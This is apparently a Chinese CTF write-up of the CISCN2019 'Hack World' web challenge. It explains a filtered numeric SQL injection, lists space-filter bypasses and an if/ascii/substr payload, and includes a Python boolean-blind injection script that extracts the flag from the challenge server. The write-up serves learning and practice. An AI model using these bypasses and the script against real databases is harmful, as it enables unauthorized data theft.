刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

目录

  • 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World
    • 一、前言
    • 二、正文
      • 1、解题过程
      • 2、解题方法

刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

一、前言

离国赛已经过去好久了,到现在才看复现,这道题当时做的时候没有什么头绪,现在来看答案发现其实没有很难,就是经验还不足

二、正文

题目复现链接:https://buuoj.cn/challenges
参考链接:ciscn2019华北赛区半决赛day2_web1题解

1、解题过程

搜索框输入1或2会返回结果,其他都返回bool(false)。过滤了union、and、or、空格等,包括/**/,后来看源码知道是过滤了*
有意思的是输入1/1时会正常返回结果,可以判断这是数字型的sql注入。

源码如下:

2、解题方法

根据1和2返回结果的不同,可能是bool盲注,()没有过滤,可以使用大部分函数,当时是卡在了空格的绕过
空格的绕过有这些方法我测试是可以的
%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab
%20 好像没法绕,%00截断好像也影响sql语句的执行
或者用括号也可以。任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
本题中可以if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)

贴上我写的bool盲注脚本

import requests

url = 'http://64ed7296-9aea-43ac-84ec-24e5c6f616a7.node1.buuoj.cn/index.php'
result = ''

for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((select      flag    from    flag),%d,1))>%d,1,2)" % (x, mid)
        data = {
            "id":payload
        }
        response = requests.post(url, data = data)
        if 'Hello' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

你可能感兴趣的:(刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World)